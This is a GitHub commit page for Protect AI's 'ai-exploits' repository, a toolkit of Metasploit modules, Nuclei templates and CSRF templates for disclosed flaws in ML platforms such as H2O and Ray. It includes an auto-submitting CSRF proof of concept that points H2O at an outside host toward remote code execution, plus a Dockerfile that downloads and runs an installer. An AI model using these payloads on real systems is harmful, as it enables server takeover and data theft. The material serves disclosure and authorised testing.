Skip to content

Commit f95013b

Browse files
byt3bl33d3rbyt3bl33d3r
committed
Initial commit for release 🗡️
0 parents  commit f95013b

29 files changed

+2012
-0
lines changed

‎.gitignore

+160
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
# Byte-compiled / optimized / DLL files
2+
__pycache__/
3+
*.py[cod]
4+
*$py.class
5+
6+
# C extensions
7+
*.so
8+
9+
# Distribution / packaging
10+
.Python
11+
build/
12+
develop-eggs/
13+
dist/
14+
downloads/
15+
eggs/
16+
.eggs/
17+
lib/
18+
lib64/
19+
parts/
20+
sdist/
21+
var/
22+
wheels/
23+
share/python-wheels/
24+
*.egg-info/
25+
.installed.cfg
26+
*.egg
27+
MANIFEST
28+
29+
# PyInstaller
30+
# Usually these files are written by a python script from a template
31+
# before PyInstaller builds the exe, so as to inject date/other infos into it.
32+
*.manifest
33+
*.spec
34+
35+
# Installer logs
36+
pip-log.txt
37+
pip-delete-this-directory.txt
38+
39+
# Unit test / coverage reports
40+
htmlcov/
41+
.tox/
42+
.nox/
43+
.coverage
44+
.coverage.*
45+
.cache
46+
nosetests.xml
47+
coverage.xml
48+
*.cover
49+
*.py,cover
50+
.hypothesis/
51+
.pytest_cache/
52+
cover/
53+
54+
# Translations
55+
*.mo
56+
*.pot
57+
58+
# Django stuff:
59+
*.log
60+
local_settings.py
61+
db.sqlite3
62+
db.sqlite3-journal
63+
64+
# Flask stuff:
65+
instance/
66+
.webassets-cache
67+
68+
# Scrapy stuff:
69+
.scrapy
70+
71+
# Sphinx documentation
72+
docs/_build/
73+
74+
# PyBuilder
75+
.pybuilder/
76+
target/
77+
78+
# Jupyter Notebook
79+
.ipynb_checkpoints
80+
81+
# IPython
82+
profile_default/
83+
ipython_config.py
84+
85+
# pyenv
86+
# For a library or package, you might want to ignore these files since the code is
87+
# intended to run in multiple environments; otherwise, check them in:
88+
# .python-version
89+
90+
# pipenv
91+
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92+
# However, in case of collaboration, if having platform-specific dependencies or dependencies
93+
# having no cross-platform support, pipenv may install dependencies that don't work, or not
94+
# install all needed dependencies.
95+
#Pipfile.lock
96+
97+
# poetry
98+
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99+
# This is especially recommended for binary packages to ensure reproducibility, and is more
100+
# commonly ignored for libraries.
101+
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102+
#poetry.lock
103+
104+
# pdm
105+
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
106+
#pdm.lock
107+
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
108+
# in version control.
109+
# https://pdm.fming.dev/#use-with-ide
110+
.pdm.toml
111+
112+
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
113+
__pypackages__/
114+
115+
# Celery stuff
116+
celerybeat-schedule
117+
celerybeat.pid
118+
119+
# SageMath parsed files
120+
*.sage.py
121+
122+
# Environments
123+
.env
124+
.venv
125+
env/
126+
venv/
127+
ENV/
128+
env.bak/
129+
venv.bak/
130+
131+
# Spyder project settings
132+
.spyderproject
133+
.spyproject
134+
135+
# Rope project settings
136+
.ropeproject
137+
138+
# mkdocs documentation
139+
/site
140+
141+
# mypy
142+
.mypy_cache/
143+
.dmypy.json
144+
dmypy.json
145+
146+
# Pyre type checker
147+
.pyre/
148+
149+
# pytype static type analyzer
150+
.pytype/
151+
152+
# Cython debug symbols
153+
cython_debug/
154+
155+
# PyCharm
156+
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
157+
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
158+
# and can be added to the global gitignore or merged into this file. For a more nuclear
159+
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
160+
#.idea/

‎Dockerfile

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
FROM golang:latest
2+
3+
RUN apt-get update \
4+
&& apt-get -y install python3 python3-setuptools python3-pip python3-requests
5+
6+
WORKDIR /root
7+
8+
RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
9+
10+
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
11+
&& chmod 755 msfinstall \
12+
&& ./msfinstall
13+
14+
ENV PYTHONUNBUFFERED 1
15+
ENV PYTHONPATH=/opt/metasploit-framework/embedded/framework/lib/msf/core/modules/external/python
16+
17+
COPY **/msfmodules/*.py /root/.msf4/modules/exploits/protectai/
18+
COPY **/nuclei-templates/*.yaml /root/nuclei-templates/

‎LICENSE

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
Copyright [2023] [Protect AI]
2+
3+
Licensed under the Apache License, Version 2.0 (the "License");
4+
you may not use this file except in compliance with the License.
5+
You may obtain a copy of the License at
6+
7+
http://www.apache.org/licenses/LICENSE-2.0
8+
9+
Unless required by applicable law or agreed to in writing, software
10+
distributed under the License is distributed on an "AS IS" BASIS,
11+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
See the License for the specific language governing permissions and
13+
limitations under the License.

‎README.md

+104
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
<div align="center">
2+
3+
# AI Exploits
4+
5+
<img width="250" src="https://github.com/protectai/ai-exploits/assets/5151193/4cd73d59-c97e-4df0-abb0-6a0a558e387e" alt="AI Exploits Logo">
6+
7+
</div>
8+
9+
The AI world has a security problem and it's not just in the inputs given to LLMs such as ChatGPT. Based
10+
on research done by [Protect AI](https://protectai.com) and independent security experts on the [Huntr](https://huntr.com) Bug Bounty Platform, there are far more impactful and practical attacks
11+
against the tools, libraries and frameworks used to build, train, and deploy machine learning models. Many of these
12+
attacks lead to complete system takeovers and/or loss of sensitive data, models, or credentials most often without the need
13+
for authentication.
14+
15+
With the release of this repository, [Protect AI](https://protectai.com) hopes to demystify to the Information Security community what pratical attacks against AI/Machine Learning infrastructure look like in the real world and raise awareness to the amount of vulnerable components that currently exist in the AI/ML ecosystem.
16+
17+
## Overview
18+
19+
This repository, **ai-exploits**, is a collection of exploits and scanning templates for responsibly disclosed vulnerabilities affecting machine learning tools.
20+
21+
Each vulnerable tool has a number of subfolders containing three types of utilities: [Metasploit](https://github.com/rapid7/metasploit-framework) modules, [Nuclei](https://github.com/projectdiscovery/nuclei) templates
22+
and CSRF templates. Metasploit modules are for security professionals looking to exploit the vulnerabilies and Nuclei templates are for scanning a large number of remote servers to determine if they're vulnerable.
23+
24+
## Setup & Usage
25+
26+
The easiest way to use the modules and scanning templates is to build and run the Docker image provided by the `Dockerfile` in this repository. The Docker image will have Metasploit and Nuclei already installed along with all the necessary configuration.
27+
28+
### Docker
29+
30+
1. Build the image:
31+
32+
```bash
33+
docker build -t protectai/ai-exploits https://github.com/protectai/AI-exploits
34+
```
35+
36+
2. Run the docker image:
37+
38+
```bash
39+
docker run -it --rm protectai/ai-exploits /bin/bash
40+
```
41+
42+
The latter command will drop you into a `bash` session in the container with `msfconsole` and `nuclei` ready to go.
43+
44+
### Using the Metasploit Modules
45+
46+
#### With Docker
47+
48+
Start the Metasploit console (the new modules will be available under the `exploits/protectai` category), load a module, set the options, and run the exploit.
49+
50+
```bash
51+
msfconsole
52+
msf6 > use exploit/protectai/ray_job_rce
53+
msf6 exploit(protectai/ray_job_rce) > set RHOSTS <target IP>
54+
msf6 exploit(protectai/ray_job_rce) > run
55+
```
56+
57+
#### With Metasploit Installed Locally
58+
59+
Create a folder `~/.msf4/modules/exploits/protectai` and copy the exploit modules into it.
60+
61+
```bash
62+
mkdir -p ~/.msf4/modules/exploits/protectai
63+
cp ai-exploits/ray/msfmodules/* ~/.msf4/modules/exploits/protectai
64+
msfconsole
65+
msf6 > use exploit/protectai/<exploit_name.py>
66+
```
67+
68+
### Using Nuclei Templates
69+
70+
Nuclei is a vulnerability scanning engine which can be used to scan large numbers of servers for known vulnerabilities in web applications and networks.
71+
72+
Navigate to nuclei templates folder such as `ai-exploits/mlflow/nuclei-templates`. In the Docker container these are stored in the `/root/nuclei-templates` folder. Then simply point to the template file and the target server.
73+
```
74+
cd ai-exploits/mlflow/nuclei-templates
75+
nuclei -t mlflow-lfi.yaml -u http://<target>:<port>`
76+
```
77+
78+
### Using CSRF Templates
79+
80+
Cross-Site Request Forgery (CSRF) vulnerabilities enable attackers to stand up a web server hosting a malicious HTML page
81+
that will execute a request to the target server on behalf of the victim. This is a common attack vector for exploiting
82+
vulnerabilities in web applications, including web applications which are only exposed on the localhost interface and
83+
not to the broader network. Below is a simple demo example of how to use a CSRF template to exploit a vulnerability in a
84+
web application.
85+
86+
Start a web server in the csrf-templates folder. Python allows one to stand up a simple web server in any
87+
directory. Navigate to the template folder and start the server.
88+
89+
```bash
90+
cd ai-exploits/ray/csrf-templates
91+
python3 -m http.server 9999
92+
```
93+
94+
Now visit the web server address you just stood up (http://127.0.0.1:9999) and hit F12 to open
95+
the developer tools, then click the Network tab. Click the link to ray-cmd-injection-csrf.html. You should see that
96+
the browser sent a request to the vulnerable server on your behalf.
97+
98+
## Contribution Guidelines
99+
100+
We welcome contributions to this repository. Please read our [Contribution Guidelines](CONTRIBUTING.md) for more information on how to contribute.
101+
102+
## License
103+
104+
This project is licensed under the [Apache 2.0 License](LICENSE).

‎h2o/README.md

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# H2O Vulnerabilities and Exploits
2+
3+
## Overview
4+
H2O-3 is a low-code machine learning platform that enables data scientists and analysts to build and deploy machine
5+
learning models using an easy web interface by just importing their data. A default, out of the box installation has no
6+
authentication and is exposed to the network.
7+
8+
## Vulnerabilities
9+
10+
### CSRF (Cross-Site Request Forgery)
11+
12+
- **Description**: H2O is vulnerable to CSRF due to the lack of proper CSRF protection. Attackers can exploit this vulnerability to perform unwanted actions on a web application in which the user is currently authenticated.
13+
- **Impact**: This could lead to unauthorized actions being taken on behalf of the authenticated user.
14+
15+
### RCE (Remote Code Execution)
16+
17+
- **Description**: H2O allows the importation of POJO models which are Java code objects. This can be exploited to execute arbitrary Java code on the server, leading to Remote Code Execution (RCE).
18+
- **Impact**: Since H2O does not require authentication by default and is exposed to the network, it can be compromised remotely, allowing an attacker to take full control of the server.
19+
20+
### LFI (Local File Inclusion)
21+
22+
- **Description**: There is a Local File Inclusion (LFI) vulnerability in H2O, where a remote API call can be made to read the entire file system on the server.
23+
- **Impact**: This vulnerability allows an attacker to read sensitive files from the server, leading to information disclosure and potentially further exploitation.
24+
25+
## Utilities
26+
27+
### Metasploit Modules
28+
29+
- **h2o_pojo_import_rce**: Exploits the RCE vulnerability to gain a remote shell on the server.
30+
- **h2o_importfiles_lfi**: Exploits the LFI vulnerability to read files from the server's file system.
31+
- **h2o_typeahead_api**: Exploits the ability of H2O to list files and folders on the vulnerable server.
32+
33+
### CSRF Template
34+
35+
- **h2o-rce-csrf** - A pre-crafted HTML template that can be used to demonstrate the CSRF to RCE vulnerability in H2O.
36+
37+
### Nuclei Template
38+
39+
- **h2o-importfiles-lfi**: Identifies LFI vulnerabilities through the import files functionality in H2O.
40+
- **h2o-apl**: Scans for the arbitrary path lookup endpoints in H2O.
41+
- **h2o-dashboard**: Looks for H2O dashboard endpoints that may be unprotected.
42+
- **h2o-pojo-rce**: Scans for the RCE vulnerability via POJO model importation in H2O.
43+
44+
## Reports
45+
46+
- **@DanMcInerney** - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
47+
- **@p0cas** - https://huntr.com/bounties/9881569f-dc2a-437e-86b0-20d4b70ae7af/
48+
- **Sierra Haex** - https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/
49+
50+
## Disclaimer
51+
52+
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
53+
54+
## Contribution
55+
56+
Contributions to improve the exploits or documentation are welcome.
57+
58+
## License
59+
60+
All exploits and templates in this repository are released under the Apache 2.0 License.

‎h2o/csrf-templates/h2o-rce-csrf.html

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
<html>
2+
<!-- CSRF PoC - generated by Burp Suite Professional -->
3+
<body>
4+
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
5+
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
6+
<input type="submit" value="Submit request" />
7+
</form>
8+
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
9+
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
10+
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
11+
<input type="submit" value="Submit request" />
12+
</form>
13+
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
14+
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
15+
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
16+
<input type="submit" value="Submit request" />
17+
</form>
18+
<form action="http://localhost:54321/3/ModelBuilders/generic" method="POST">
19+
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
20+
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
21+
<input type="submit" value="Submit request" />
22+
</form>
23+
<script>
24+
history.pushState('', '', '/');
25+
document.forms[0].submit();
26+
document.forms[1].submit();
27+
document.forms[2].submit();
28+
document.forms[3].submit();
29+
</script>
30+
</body>
31+
</html>

0 commit comments

Comments
 (0)